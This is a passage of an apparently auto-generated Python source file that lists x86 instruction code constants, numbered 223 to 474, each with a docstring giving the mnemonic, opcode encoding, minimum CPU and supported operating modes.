``386+``
``16/32/64-bit``
"""
ADC_RM64_IMM32: int = 223
"""
``ADC r/m64, imm32``
``o64 81 /2 id``
``X64``
``64-bit``
"""
SBB_RM16_IMM16: int = 224
"""
``SBB r/m16, imm16``
``o16 81 /3 iw``
``8086+``
``16/32/64-bit``
"""
SBB_RM32_IMM32: int = 225
"""
``SBB r/m32, imm32``
``o32 81 /3 id``
``386+``
``16/32/64-bit``
"""
SBB_RM64_IMM32: int = 226
"""
``SBB r/m64, imm32``
``o64 81 /3 id``
``X64``
``64-bit``
"""
AND_RM16_IMM16: int = 227
"""
``AND r/m16, imm16``
``o16 81 /4 iw``
``8086+``
``16/32/64-bit``
"""
AND_RM32_IMM32: int = 228
"""
``AND r/m32, imm32``
``o32 81 /4 id``
``386+``
``16/32/64-bit``
"""
AND_RM64_IMM32: int = 229
"""
``AND r/m64, imm32``
``o64 81 /4 id``
``X64``
``64-bit``
"""
SUB_RM16_IMM16: int = 230
"""
``SUB r/m16, imm16``
``o16 81 /5 iw``
``8086+``
``16/32/64-bit``
"""
SUB_RM32_IMM32: int = 231
"""
``SUB r/m32, imm32``
``o32 81 /5 id``
``386+``
``16/32/64-bit``
"""
SUB_RM64_IMM32: int = 232
"""
``SUB r/m64, imm32``
``o64 81 /5 id``
``X64``
``64-bit``
"""
XOR_RM16_IMM16: int = 233
"""
``XOR r/m16, imm16``
``o16 81 /6 iw``
``8086+``
``16/32/64-bit``
"""
XOR_RM32_IMM32: int = 234
"""
``XOR r/m32, imm32``
``o32 81 /6 id``
``386+``
``16/32/64-bit``
"""
XOR_RM64_IMM32: int = 235
"""
``XOR r/m64, imm32``
``o64 81 /6 id``
``X64``
``64-bit``
"""
CMP_RM16_IMM16: int = 236
"""
``CMP r/m16, imm16``
``o16 81 /7 iw``
``8086+``
``16/32/64-bit``
"""
CMP_RM32_IMM32: int = 237
"""
``CMP r/m32, imm32``
``o32 81 /7 id``
``386+``
``16/32/64-bit``
"""
CMP_RM64_IMM32: int = 238
"""
``CMP r/m64, imm32``
``o64 81 /7 id``
``X64``
``64-bit``
"""
ADD_RM8_IMM8_82: int = 239
"""
``ADD r/m8, imm8``
``82 /0 ib``
``8086+``
``16/32-bit``
"""
OR_RM8_IMM8_82: int = 240
"""
``OR r/m8, imm8``
``82 /1 ib``
``8086+``
``16/32-bit``
"""
ADC_RM8_IMM8_82: int = 241
"""
``ADC r/m8, imm8``
``82 /2 ib``
``8086+``
``16/32-bit``
"""
SBB_RM8_IMM8_82: int = 242
"""
``SBB r/m8, imm8``
``82 /3 ib``
``8086+``
``16/32-bit``
"""
AND_RM8_IMM8_82: int = 243
"""
``AND r/m8, imm8``
``82 /4 ib``
``8086+``
``16/32-bit``
"""
SUB_RM8_IMM8_82: int = 244
"""
``SUB r/m8, imm8``
``82 /5 ib``
``8086+``
``16/32-bit``
"""
XOR_RM8_IMM8_82: int = 245
"""
``XOR r/m8, imm8``
``82 /6 ib``
``8086+``
``16/32-bit``
"""
CMP_RM8_IMM8_82: int = 246
"""
``CMP r/m8, imm8``
``82 /7 ib``
``8086+``
``16/32-bit``
"""
ADD_RM16_IMM8: int = 247
"""
``ADD r/m16, imm8``
``o16 83 /0 ib``
``8086+``
``16/32/64-bit``
"""
ADD_RM32_IMM8: int = 248
"""
``ADD r/m32, imm8``
``o32 83 /0 ib``
``386+``
``16/32/64-bit``
"""
ADD_RM64_IMM8: int = 249
"""
``ADD r/m64, imm8``
``o64 83 /0 ib``
``X64``
``64-bit``
"""
OR_RM16_IMM8: int = 250
"""
``OR r/m16, imm8``
``o16 83 /1 ib``
``8086+``
``16/32/64-bit``
"""
OR_RM32_IMM8: int = 251
"""
``OR r/m32, imm8``
``o32 83 /1 ib``
``386+``
``16/32/64-bit``
"""
OR_RM64_IMM8: int = 252
"""
``OR r/m64, imm8``
``o64 83 /1 ib``
``X64``
``64-bit``
"""
ADC_RM16_IMM8: int = 253
"""
``ADC r/m16, imm8``
``o16 83 /2 ib``
``8086+``
``16/32/64-bit``
"""
ADC_RM32_IMM8: int = 254
"""
``ADC r/m32, imm8``
``o32 83 /2 ib``
``386+``
``16/32/64-bit``
"""
ADC_RM64_IMM8: int = 255
"""
``ADC r/m64, imm8``
``o64 83 /2 ib``
``X64``
``64-bit``
"""
SBB_RM16_IMM8: int = 256
"""
``SBB r/m16, imm8``
``o16 83 /3 ib``
``8086+``
``16/32/64-bit``
"""
SBB_RM32_IMM8: int = 257
"""
``SBB r/m32, imm8``
``o32 83 /3 ib``
``386+``
``16/32/64-bit``
"""
SBB_RM64_IMM8: int = 258
"""
``SBB r/m64, imm8``
``o64 83 /3 ib``
``X64``
``64-bit``
"""
AND_RM16_IMM8: int = 259
"""
``AND r/m16, imm8``
``o16 83 /4 ib``
``8086+``
``16/32/64-bit``
"""
AND_RM32_IMM8: int = 260
"""
``AND r/m32, imm8``
``o32 83 /4 ib``
``386+``
``16/32/64-bit``
"""
AND_RM64_IMM8: int = 261
"""
``AND r/m64, imm8``
``o64 83 /4 ib``
``X64``
``64-bit``
"""
SUB_RM16_IMM8: int = 262
"""
``SUB r/m16, imm8``
``o16 83 /5 ib``
``8086+``
``16/32/64-bit``
"""
SUB_RM32_IMM8: int = 263
"""
``SUB r/m32, imm8``
``o32 83 /5 ib``
``386+``
``16/32/64-bit``
"""
SUB_RM64_IMM8: int = 264
"""
``SUB r/m64, imm8``
``o64 83 /5 ib``
``X64``
``64-bit``
"""
XOR_RM16_IMM8: int = 265
"""
``XOR r/m16, imm8``
``o16 83 /6 ib``
``8086+``
``16/32/64-bit``
"""
XOR_RM32_IMM8: int = 266
"""
``XOR r/m32, imm8``
``o32 83 /6 ib``
``386+``
``16/32/64-bit``
"""
XOR_RM64_IMM8: int = 267
"""
``XOR r/m64, imm8``
``o64 83 /6 ib``
``X64``
``64-bit``
"""
CMP_RM16_IMM8: int = 268
"""
``CMP r/m16, imm8``
``o16 83 /7 ib``
``8086+``
``16/32/64-bit``
"""
CMP_RM32_IMM8: int = 269
"""
``CMP r/m32, imm8``
``o32 83 /7 ib``
``386+``
``16/32/64-bit``
"""
CMP_RM64_IMM8: int = 270
"""
``CMP r/m64, imm8``
``o64 83 /7 ib``
``X64``
``64-bit``
"""
TEST_RM8_R8: int = 271
"""
``TEST r/m8, r8``
``84 /r``
``8086+``
``16/32/64-bit``
"""
TEST_RM16_R16: int = 272
"""
``TEST r/m16, r16``
``o16 85 /r``
``8086+``
``16/32/64-bit``
"""
TEST_RM32_R32: int = 273
"""
``TEST r/m32, r32``
``o32 85 /r``
``386+``
``16/32/64-bit``
"""
TEST_RM64_R64: int = 274
"""
``TEST r/m64, r64``
``o64 85 /r``
``X64``
``64-bit``
"""
XCHG_RM8_R8: int = 275
"""
``XCHG r/m8, r8``
``86 /r``
``8086+``
``16/32/64-bit``
"""
XCHG_RM16_R16: int = 276
"""
``XCHG r/m16, r16``
``o16 87 /r``
``8086+``
``16/32/64-bit``
"""
XCHG_RM32_R32: int = 277
"""
``XCHG r/m32, r32``
``o32 87 /r``
``386+``
``16/32/64-bit``
"""
XCHG_RM64_R64: int = 278
"""
``XCHG r/m64, r64``
``o64 87 /r``
``X64``
``64-bit``
"""
MOV_RM8_R8: int = 279
"""
``MOV r/m8, r8``
``88 /r``
``8086+``
``16/32/64-bit``
"""
MOV_RM16_R16: int = 280
"""
``MOV r/m16, r16``
``o16 89 /r``
``8086+``
``16/32/64-bit``
"""
MOV_RM32_R32: int = 281
"""
``MOV r/m32, r32``
``o32 89 /r``
``386+``
``16/32/64-bit``
"""
MOV_RM64_R64: int = 282
"""
``MOV r/m64, r64``
``o64 89 /r``
``X64``
``64-bit``
"""
MOV_R8_RM8: int = 283
"""
``MOV r8, r/m8``
``8A /r``
``8086+``
``16/32/64-bit``
"""
MOV_R16_RM16: int = 284
"""
``MOV r16, r/m16``
``o16 8B /r``
``8086+``
``16/32/64-bit``
"""
MOV_R32_RM32: int = 285
"""
``MOV r32, r/m32``
``o32 8B /r``
``386+``
``16/32/64-bit``
"""
MOV_R64_RM64: int = 286
"""
``MOV r64, r/m64``
``o64 8B /r``
``X64``
``64-bit``
"""
MOV_RM16_SREG: int = 287
"""
``MOV r/m16, Sreg``
``o16 8C /r``
``8086+``
``16/32/64-bit``
"""
MOV_R32M16_SREG: int = 288
"""
``MOV r32/m16, Sreg``
``o32 8C /r``
``386+``
``16/32/64-bit``
"""
MOV_R64M16_SREG: int = 289
"""
``MOV r64/m16, Sreg``
``o64 8C /r``
``X64``
``64-bit``
"""
LEA_R16_M: int = 290
"""
``LEA r16, m``
``o16 8D /r``
``8086+``
``16/32/64-bit``
"""
LEA_R32_M: int = 291
"""
``LEA r32, m``
``o32 8D /r``
``386+``
``16/32/64-bit``
"""
LEA_R64_M: int = 292
"""
``LEA r64, m``
``o64 8D /r``
``X64``
``64-bit``
"""
MOV_SREG_RM16: int = 293
"""
``MOV Sreg, r/m16``
``o16 8E /r``
``8086+``
``16/32/64-bit``
"""
MOV_SREG_R32M16: int = 294
"""
``MOV Sreg, r32/m16``
``o32 8E /r``
``386+``
``16/32/64-bit``
"""
MOV_SREG_R64M16: int = 295
"""
``MOV Sreg, r64/m16``
``o64 8E /r``
``X64``
``64-bit``
"""
POP_RM16: int = 296
"""
``POP r/m16``
``o16 8F /0``
``8086+``
``16/32/64-bit``
"""
POP_RM32: int = 297
"""
``POP r/m32``
``o32 8F /0``
``386+``
``16/32-bit``
"""
POP_RM64: int = 298
"""
``POP r/m64``
``o64 8F /0``
``X64``
``64-bit``
"""
NOPW: int = 299
"""
``NOP``
``o16 90``
``8086+``
``16/32/64-bit``
"""
NOPD: int = 300
"""
``NOP``
``o32 90``
``8086+``
``16/32/64-bit``
"""
NOPQ: int = 301
"""
``NOP``
``o64 90``
``8086+``
``64-bit``
"""
XCHG_R16_AX: int = 302
"""
``XCHG r16, AX``
``o16 90+rw``
``8086+``
``16/32/64-bit``
"""
XCHG_R32_EAX: int = 303
"""
``XCHG r32, EAX``
``o32 90+rd``
``386+``
``16/32/64-bit``
"""
XCHG_R64_RAX: int = 304
"""
``XCHG r64, RAX``
``o64 90+ro``
``X64``
``64-bit``
"""
PAUSE: int = 305
"""
``PAUSE``
``F3 90``
``Pentium 4 or later``
``16/32/64-bit``
"""
CBW: int = 306
"""
``CBW``
``o16 98``
``8086+``
``16/32/64-bit``
"""
CWDE: int = 307
"""
``CWDE``
``o32 98``
``386+``
``16/32/64-bit``
"""
CDQE: int = 308
"""
``CDQE``
``o64 98``
``X64``
``64-bit``
"""
CWD: int = 309
"""
``CWD``
``o16 99``
``8086+``
``16/32/64-bit``
"""
CDQ: int = 310
"""
``CDQ``
``o32 99``
``386+``
``16/32/64-bit``
"""
CQO: int = 311
"""
``CQO``
``o64 99``
``X64``
``64-bit``
"""
CALL_PTR1616: int = 312
"""
``CALL ptr16:16``
``o16 9A cd``
``8086+``
``16/32-bit``
"""
CALL_PTR1632: int = 313
"""
``CALL ptr16:32``
``o32 9A cp``
``386+``
``16/32-bit``
"""
WAIT: int = 314
"""
``WAIT``
``9B``
``8086+``
``16/32/64-bit``
"""
PUSHFW: int = 315
"""
``PUSHF``
``o16 9C``
``8086+``
``16/32/64-bit``
"""
PUSHFD: int = 316
"""
``PUSHFD``
``o32 9C``
``386+``
``16/32-bit``
"""
PUSHFQ: int = 317
"""
``PUSHFQ``
``o64 9C``
``X64``
``64-bit``
"""
POPFW: int = 318
"""
``POPF``
``o16 9D``
``8086+``
``16/32/64-bit``
"""
POPFD: int = 319
"""
``POPFD``
``o32 9D``
``386+``
``16/32-bit``
"""
POPFQ: int = 320
"""
``POPFQ``
``o64 9D``
``X64``
``64-bit``
"""
SAHF: int = 321
"""
``SAHF``
``9E``
``8086+``
``16/32/64-bit``
"""
LAHF: int = 322
"""
``LAHF``
``9F``
``8086+``
``16/32/64-bit``
"""
MOV_AL_MOFFS8: int = 323
"""
``MOV AL, moffs8``
``A0 mo``
``8086+``
``16/32/64-bit``
"""
MOV_AX_MOFFS16: int = 324
"""
``MOV AX, moffs16``
``o16 A1 mo``
``8086+``
``16/32/64-bit``
"""
MOV_EAX_MOFFS32: int = 325
"""
``MOV EAX, moffs32``
``o32 A1 mo``
``386+``
``16/32/64-bit``
"""
MOV_RAX_MOFFS64: int = 326
"""
``MOV RAX, moffs64``
``o64 A1 mo``
``X64``
``64-bit``
"""
MOV_MOFFS8_AL: int = 327
"""
``MOV moffs8, AL``
``A2 mo``
``8086+``
``16/32/64-bit``
"""
MOV_MOFFS16_AX: int = 328
"""
``MOV moffs16, AX``
``o16 A3 mo``
``8086+``
``16/32/64-bit``
"""
MOV_MOFFS32_EAX: int = 329
"""
``MOV moffs32, EAX``
``o32 A3 mo``
``386+``
``16/32/64-bit``
"""
MOV_MOFFS64_RAX: int = 330
"""
``MOV moffs64, RAX``
``o64 A3 mo``
``X64``
``64-bit``
"""
MOVSB_M8_M8: int = 331
"""
``MOVSB``
``A4``
``8086+``
``16/32/64-bit``
"""
MOVSW_M16_M16: int = 332
"""
``MOVSW``
``o16 A5``
``8086+``
``16/32/64-bit``
"""
MOVSD_M32_M32: int = 333
"""
``MOVSD``
``o32 A5``
``386+``
``16/32/64-bit``
"""
MOVSQ_M64_M64: int = 334
"""
``MOVSQ``
``o64 A5``
``X64``
``64-bit``
"""
CMPSB_M8_M8: int = 335
"""
``CMPSB``
``A6``
``8086+``
``16/32/64-bit``
"""
CMPSW_M16_M16: int = 336
"""
``CMPSW``
``o16 A7``
``8086+``
``16/32/64-bit``
"""
CMPSD_M32_M32: int = 337
"""
``CMPSD``
``o32 A7``
``386+``
``16/32/64-bit``
"""
CMPSQ_M64_M64: int = 338
"""
``CMPSQ``
``o64 A7``
``X64``
``64-bit``
"""
TEST_AL_IMM8: int = 339
"""
``TEST AL, imm8``
``A8 ib``
``8086+``
``16/32/64-bit``
"""
TEST_AX_IMM16: int = 340
"""
``TEST AX, imm16``
``o16 A9 iw``
``8086+``
``16/32/64-bit``
"""
TEST_EAX_IMM32: int = 341
"""
``TEST EAX, imm32``
``o32 A9 id``
``386+``
``16/32/64-bit``
"""
TEST_RAX_IMM32: int = 342
"""
``TEST RAX, imm32``
``o64 A9 id``
``X64``
``64-bit``
"""
STOSB_M8_AL: int = 343
"""
``STOSB``
``AA``
``8086+``
``16/32/64-bit``
"""
STOSW_M16_AX: int = 344
"""
``STOSW``
``o16 AB``
``8086+``
``16/32/64-bit``
"""
STOSD_M32_EAX: int = 345
"""
``STOSD``
``o32 AB``
``386+``
``16/32/64-bit``
"""
STOSQ_M64_RAX: int = 346
"""
``STOSQ``
``o64 AB``
``X64``
``64-bit``
"""
LODSB_AL_M8: int = 347
"""
``LODSB``
``AC``
``8086+``
``16/32/64-bit``
"""
LODSW_AX_M16: int = 348
"""
``LODSW``
``o16 AD``
``8086+``
``16/32/64-bit``
"""
LODSD_EAX_M32: int = 349
"""
``LODSD``
``o32 AD``
``386+``
``16/32/64-bit``
"""
LODSQ_RAX_M64: int = 350
"""
``LODSQ``
``o64 AD``
``X64``
``64-bit``
"""
SCASB_AL_M8: int = 351
"""
``SCASB``
``AE``
``8086+``
``16/32/64-bit``
"""
SCASW_AX_M16: int = 352
"""
``SCASW``
``o16 AF``
``8086+``
``16/32/64-bit``
"""
SCASD_EAX_M32: int = 353
"""
``SCASD``
``o32 AF``
``386+``
``16/32/64-bit``
"""
SCASQ_RAX_M64: int = 354
"""
``SCASQ``
``o64 AF``
``X64``
``64-bit``
"""
MOV_R8_IMM8: int = 355
"""
``MOV r8, imm8``
``B0+rb ib``
``8086+``
``16/32/64-bit``
"""
MOV_R16_IMM16: int = 356
"""
``MOV r16, imm16``
``o16 B8+rw iw``
``8086+``
``16/32/64-bit``
"""
MOV_R32_IMM32: int = 357
"""
``MOV r32, imm32``
``o32 B8+rd id``
``386+``
``16/32/64-bit``
"""
MOV_R64_IMM64: int = 358
"""
``MOV r64, imm64``
``o64 B8+ro io``
``X64``
``64-bit``
"""
ROL_RM8_IMM8: int = 359
"""
``ROL r/m8, imm8``
``C0 /0 ib``
``186+``
``16/32/64-bit``
"""
ROR_RM8_IMM8: int = 360
"""
``ROR r/m8, imm8``
``C0 /1 ib``
``186+``
``16/32/64-bit``
"""
RCL_RM8_IMM8: int = 361
"""
``RCL r/m8, imm8``
``C0 /2 ib``
``186+``
``16/32/64-bit``
"""
RCR_RM8_IMM8: int = 362
"""
``RCR r/m8, imm8``
``C0 /3 ib``
``186+``
``16/32/64-bit``
"""
SHL_RM8_IMM8: int = 363
"""
``SHL r/m8, imm8``
``C0 /4 ib``
``186+``
``16/32/64-bit``
"""
SHR_RM8_IMM8: int = 364
"""
``SHR r/m8, imm8``
``C0 /5 ib``
``186+``
``16/32/64-bit``
"""
SAL_RM8_IMM8: int = 365
"""
``SAL r/m8, imm8``
``C0 /6 ib``
``186+``
``16/32/64-bit``
"""
SAR_RM8_IMM8: int = 366
"""
``SAR r/m8, imm8``
``C0 /7 ib``
``186+``
``16/32/64-bit``
"""
ROL_RM16_IMM8: int = 367
"""
``ROL r/m16, imm8``
``o16 C1 /0 ib``
``186+``
``16/32/64-bit``
"""
ROL_RM32_IMM8: int = 368
"""
``ROL r/m32, imm8``
``o32 C1 /0 ib``
``386+``
``16/32/64-bit``
"""
ROL_RM64_IMM8: int = 369
"""
``ROL r/m64, imm8``
``o64 C1 /0 ib``
``X64``
``64-bit``
"""
ROR_RM16_IMM8: int = 370
"""
``ROR r/m16, imm8``
``o16 C1 /1 ib``
``186+``
``16/32/64-bit``
"""
ROR_RM32_IMM8: int = 371
"""
``ROR r/m32, imm8``
``o32 C1 /1 ib``
``386+``
``16/32/64-bit``
"""
ROR_RM64_IMM8: int = 372
"""
``ROR r/m64, imm8``
``o64 C1 /1 ib``
``X64``
``64-bit``
"""
RCL_RM16_IMM8: int = 373
"""
``RCL r/m16, imm8``
``o16 C1 /2 ib``
``186+``
``16/32/64-bit``
"""
RCL_RM32_IMM8: int = 374
"""
``RCL r/m32, imm8``
``o32 C1 /2 ib``
``386+``
``16/32/64-bit``
"""
RCL_RM64_IMM8: int = 375
"""
``RCL r/m64, imm8``
``o64 C1 /2 ib``
``X64``
``64-bit``
"""
RCR_RM16_IMM8: int = 376
"""
``RCR r/m16, imm8``
``o16 C1 /3 ib``
``186+``
``16/32/64-bit``
"""
RCR_RM32_IMM8: int = 377
"""
``RCR r/m32, imm8``
``o32 C1 /3 ib``
``386+``
``16/32/64-bit``
"""
RCR_RM64_IMM8: int = 378
"""
``RCR r/m64, imm8``
``o64 C1 /3 ib``
``X64``
``64-bit``
"""
SHL_RM16_IMM8: int = 379
"""
``SHL r/m16, imm8``
``o16 C1 /4 ib``
``186+``
``16/32/64-bit``
"""
SHL_RM32_IMM8: int = 380
"""
``SHL r/m32, imm8``
``o32 C1 /4 ib``
``386+``
``16/32/64-bit``
"""
SHL_RM64_IMM8: int = 381
"""
``SHL r/m64, imm8``
``o64 C1 /4 ib``
``X64``
``64-bit``
"""
SHR_RM16_IMM8: int = 382
"""
``SHR r/m16, imm8``
``o16 C1 /5 ib``
``186+``
``16/32/64-bit``
"""
SHR_RM32_IMM8: int = 383
"""
``SHR r/m32, imm8``
``o32 C1 /5 ib``
``386+``
``16/32/64-bit``
"""
SHR_RM64_IMM8: int = 384
"""
``SHR r/m64, imm8``
``o64 C1 /5 ib``
``X64``
``64-bit``
"""
SAL_RM16_IMM8: int = 385
"""
``SAL r/m16, imm8``
``o16 C1 /6 ib``
``186+``
``16/32/64-bit``
"""
SAL_RM32_IMM8: int = 386
"""
``SAL r/m32, imm8``
``o32 C1 /6 ib``
``386+``
``16/32/64-bit``
"""
SAL_RM64_IMM8: int = 387
"""
``SAL r/m64, imm8``
``o64 C1 /6 ib``
``X64``
``64-bit``
"""
SAR_RM16_IMM8: int = 388
"""
``SAR r/m16, imm8``
``o16 C1 /7 ib``
``186+``
``16/32/64-bit``
"""
SAR_RM32_IMM8: int = 389
"""
``SAR r/m32, imm8``
``o32 C1 /7 ib``
``386+``
``16/32/64-bit``
"""
SAR_RM64_IMM8: int = 390
"""
``SAR r/m64, imm8``
``o64 C1 /7 ib``
``X64``
``64-bit``
"""
RETNW_IMM16: int = 391
"""
``RET imm16``
``o16 C2 iw``
``8086+``
``16/32/64-bit``
"""
RETND_IMM16: int = 392
"""
``RET imm16``
``o32 C2 iw``
``386+``
``16/32-bit``
"""
RETNQ_IMM16: int = 393
"""
``RET imm16``
``o64 C2 iw``
``X64``
``64-bit``
"""
RETNW: int = 394
"""
``RET``
``o16 C3``
``8086+``
``16/32/64-bit``
"""
RETND: int = 395
"""
``RET``
``o32 C3``
``386+``
``16/32-bit``
"""
RETNQ: int = 396
"""
``RET``
``o64 C3``
``X64``
``64-bit``
"""
LES_R16_M1616: int = 397
"""
``LES r16, m16:16``
``o16 C4 /r``
``8086+``
``16/32-bit``
"""
LES_R32_M1632: int = 398
"""
``LES r32, m16:32``
``o32 C4 /r``
``386+``
``16/32-bit``
"""
LDS_R16_M1616: int = 399
"""
``LDS r16, m16:16``
``o16 C5 /r``
``8086+``
``16/32-bit``
"""
LDS_R32_M1632: int = 400
"""
``LDS r32, m16:32``
``o32 C5 /r``
``386+``
``16/32-bit``
"""
MOV_RM8_IMM8: int = 401
"""
``MOV r/m8, imm8``
``C6 /0 ib``
``8086+``
``16/32/64-bit``
"""
XABORT_IMM8: int = 402
"""
``XABORT imm8``
``C6 F8 ib``
``RTM``
``16/32/64-bit``
"""
MOV_RM16_IMM16: int = 403
"""
``MOV r/m16, imm16``
``o16 C7 /0 iw``
``8086+``
``16/32/64-bit``
"""
MOV_RM32_IMM32: int = 404
"""
``MOV r/m32, imm32``
``o32 C7 /0 id``
``386+``
``16/32/64-bit``
"""
MOV_RM64_IMM32: int = 405
"""
``MOV r/m64, imm32``
``o64 C7 /0 id``
``X64``
``64-bit``
"""
XBEGIN_REL16: int = 406
"""
``XBEGIN rel16``
``o16 C7 F8 cw``
``RTM``
``16/32/64-bit``
"""
XBEGIN_REL32: int = 407
"""
``XBEGIN rel32``
``o32 C7 F8 cd``
``RTM``
``16/32/64-bit``
"""
ENTERW_IMM16_IMM8: int = 408
"""
``ENTER imm16, imm8``
``o16 C8 iw ib``
``186+``
``16/32/64-bit``
"""
ENTERD_IMM16_IMM8: int = 409
"""
``ENTER imm16, imm8``
``o32 C8 iw ib``
``386+``
``16/32-bit``
"""
ENTERQ_IMM16_IMM8: int = 410
"""
``ENTER imm16, imm8``
``o64 C8 iw ib``
``X64``
``64-bit``
"""
LEAVEW: int = 411
"""
``LEAVE``
``o16 C9``
``186+``
``16/32/64-bit``
"""
LEAVED: int = 412
"""
``LEAVE``
``o32 C9``
``386+``
``16/32-bit``
"""
LEAVEQ: int = 413
"""
``LEAVE``
``o64 C9``
``X64``
``64-bit``
"""
RETFW_IMM16: int = 414
"""
``RETF imm16``
``o16 CA iw``
``8086+``
``16/32/64-bit``
"""
RETFD_IMM16: int = 415
"""
``RETF imm16``
``o32 CA iw``
``386+``
``16/32/64-bit``
"""
RETFQ_IMM16: int = 416
"""
``RETF imm16``
``o64 CA iw``
``X64``
``64-bit``
"""
RETFW: int = 417
"""
``RETF``
``o16 CB``
``8086+``
``16/32/64-bit``
"""
RETFD: int = 418
"""
``RETF``
``o32 CB``
``386+``
``16/32/64-bit``
"""
RETFQ: int = 419
"""
``RETF``
``o64 CB``
``X64``
``64-bit``
"""
INT3: int = 420
"""
``INT3``
``CC``
``8086+``
``16/32/64-bit``
"""
INT_IMM8: int = 421
"""
``INT imm8``
``CD ib``
``8086+``
``16/32/64-bit``
"""
INTO: int = 422
"""
``INTO``
``CE``
``8086+``
``16/32-bit``
"""
IRETW: int = 423
"""
``IRET``
``o16 CF``
``8086+``
``16/32/64-bit``
"""
IRETD: int = 424
"""
``IRETD``
``o32 CF``
``386+``
``16/32/64-bit``
"""
IRETQ: int = 425
"""
``IRETQ``
``o64 CF``
``X64``
``64-bit``
"""
ROL_RM8_1: int = 426
"""
``ROL r/m8, 1``
``D0 /0``
``8086+``
``16/32/64-bit``
"""
ROR_RM8_1: int = 427
"""
``ROR r/m8, 1``
``D0 /1``
``8086+``
``16/32/64-bit``
"""
RCL_RM8_1: int = 428
"""
``RCL r/m8, 1``
``D0 /2``
``8086+``
``16/32/64-bit``
"""
RCR_RM8_1: int = 429
"""
``RCR r/m8, 1``
``D0 /3``
``8086+``
``16/32/64-bit``
"""
SHL_RM8_1: int = 430
"""
``SHL r/m8, 1``
``D0 /4``
``8086+``
``16/32/64-bit``
"""
SHR_RM8_1: int = 431
"""
``SHR r/m8, 1``
``D0 /5``
``8086+``
``16/32/64-bit``
"""
SAL_RM8_1: int = 432
"""
``SAL r/m8, 1``
``D0 /6``
``8086+``
``16/32/64-bit``
"""
SAR_RM8_1: int = 433
"""
``SAR r/m8, 1``
``D0 /7``
``8086+``
``16/32/64-bit``
"""
ROL_RM16_1: int = 434
"""
``ROL r/m16, 1``
``o16 D1 /0``
``8086+``
``16/32/64-bit``
"""
ROL_RM32_1: int = 435
"""
``ROL r/m32, 1``
``o32 D1 /0``
``386+``
``16/32/64-bit``
"""
ROL_RM64_1: int = 436
"""
``ROL r/m64, 1``
``o64 D1 /0``
``X64``
``64-bit``
"""
ROR_RM16_1: int = 437
"""
``ROR r/m16, 1``
``o16 D1 /1``
``8086+``
``16/32/64-bit``
"""
ROR_RM32_1: int = 438
"""
``ROR r/m32, 1``
``o32 D1 /1``
``386+``
``16/32/64-bit``
"""
ROR_RM64_1: int = 439
"""
``ROR r/m64, 1``
``o64 D1 /1``
``X64``
``64-bit``
"""
RCL_RM16_1: int = 440
"""
``RCL r/m16, 1``
``o16 D1 /2``
``8086+``
``16/32/64-bit``
"""
RCL_RM32_1: int = 441
"""
``RCL r/m32, 1``
``o32 D1 /2``
``386+``
``16/32/64-bit``
"""
RCL_RM64_1: int = 442
"""
``RCL r/m64, 1``
``o64 D1 /2``
``X64``
``64-bit``
"""
RCR_RM16_1: int = 443
"""
``RCR r/m16, 1``
``o16 D1 /3``
``8086+``
``16/32/64-bit``
"""
RCR_RM32_1: int = 444
"""
``RCR r/m32, 1``
``o32 D1 /3``
``386+``
``16/32/64-bit``
"""
RCR_RM64_1: int = 445
"""
``RCR r/m64, 1``
``o64 D1 /3``
``X64``
``64-bit``
"""
SHL_RM16_1: int = 446
"""
``SHL r/m16, 1``
``o16 D1 /4``
``8086+``
``16/32/64-bit``
"""
SHL_RM32_1: int = 447
"""
``SHL r/m32, 1``
``o32 D1 /4``
``386+``
``16/32/64-bit``
"""
SHL_RM64_1: int = 448
"""
``SHL r/m64, 1``
``o64 D1 /4``
``X64``
``64-bit``
"""
SHR_RM16_1: int = 449
"""
``SHR r/m16, 1``
``o16 D1 /5``
``8086+``
``16/32/64-bit``
"""
SHR_RM32_1: int = 450
"""
``SHR r/m32, 1``
``o32 D1 /5``
``386+``
``16/32/64-bit``
"""
SHR_RM64_1: int = 451
"""
``SHR r/m64, 1``
``o64 D1 /5``
``X64``
``64-bit``
"""
SAL_RM16_1: int = 452
"""
``SAL r/m16, 1``
``o16 D1 /6``
``8086+``
``16/32/64-bit``
"""
SAL_RM32_1: int = 453
"""
``SAL r/m32, 1``
``o32 D1 /6``
``386+``
``16/32/64-bit``
"""
SAL_RM64_1: int = 454
"""
``SAL r/m64, 1``
``o64 D1 /6``
``X64``
``64-bit``
"""
SAR_RM16_1: int = 455
"""
``SAR r/m16, 1``
``o16 D1 /7``
``8086+``
``16/32/64-bit``
"""
SAR_RM32_1: int = 456
"""
``SAR r/m32, 1``
``o32 D1 /7``
``386+``
``16/32/64-bit``
"""
SAR_RM64_1: int = 457
"""
``SAR r/m64, 1``
``o64 D1 /7``
``X64``
``64-bit``
"""
ROL_RM8_CL: int = 458
"""
``ROL r/m8, CL``
``D2 /0``
``8086+``
``16/32/64-bit``
"""
ROR_RM8_CL: int = 459
"""
``ROR r/m8, CL``
``D2 /1``
``8086+``
``16/32/64-bit``
"""
RCL_RM8_CL: int = 460
"""
``RCL r/m8, CL``
``D2 /2``
``8086+``
``16/32/64-bit``
"""
RCR_RM8_CL: int = 461
"""
``RCR r/m8, CL``
``D2 /3``
``8086+``
``16/32/64-bit``
"""
SHL_RM8_CL: int = 462
"""
``SHL r/m8, CL``
``D2 /4``
``8086+``
``16/32/64-bit``
"""
SHR_RM8_CL: int = 463
"""
``SHR r/m8, CL``
``D2 /5``
``8086+``
``16/32/64-bit``
"""
SAL_RM8_CL: int = 464
"""
``SAL r/m8, CL``
``D2 /6``
``8086+``
``16/32/64-bit``
"""
SAR_RM8_CL: int = 465
"""
``SAR r/m8, CL``
``D2 /7``
``8086+``
``16/32/64-bit``
"""
ROL_RM16_CL: int = 466
"""
``ROL r/m16, CL``
``o16 D3 /0``
``8086+``
``16/32/64-bit``
"""
ROL_RM32_CL: int = 467
"""
``ROL r/m32, CL``
``o32 D3 /0``
``386+``
``16/32/64-bit``
"""
ROL_RM64_CL: int = 468
"""
``ROL r/m64, CL``
``o64 D3 /0``
``X64``
``64-bit``
"""
ROR_RM16_CL: int = 469
"""
``ROR r/m16, CL``
``o16 D3 /1``
``8086+``
``16/32/64-bit``
"""
ROR_RM32_CL: int = 470
"""
``ROR r/m32, CL``
``o32 D3 /1``
``386+``
``16/32/64-bit``
"""
ROR_RM64_CL: int = 471
"""
``ROR r/m64, CL``
``o64 D3 /1``
``X64``
``64-bit``
"""
RCL_RM16_CL: int = 472
"""
``RCL r/m16, CL``
``o16 D3 /2``
``8086+``
``16/32/64-bit``
"""
RCL_RM32_CL: int = 473
"""
``RCL r/m32, CL``
``o32 D3 /2``
``386+``
``16/32/64-bit``
"""
RCL_RM64_CL: int = 474
"""
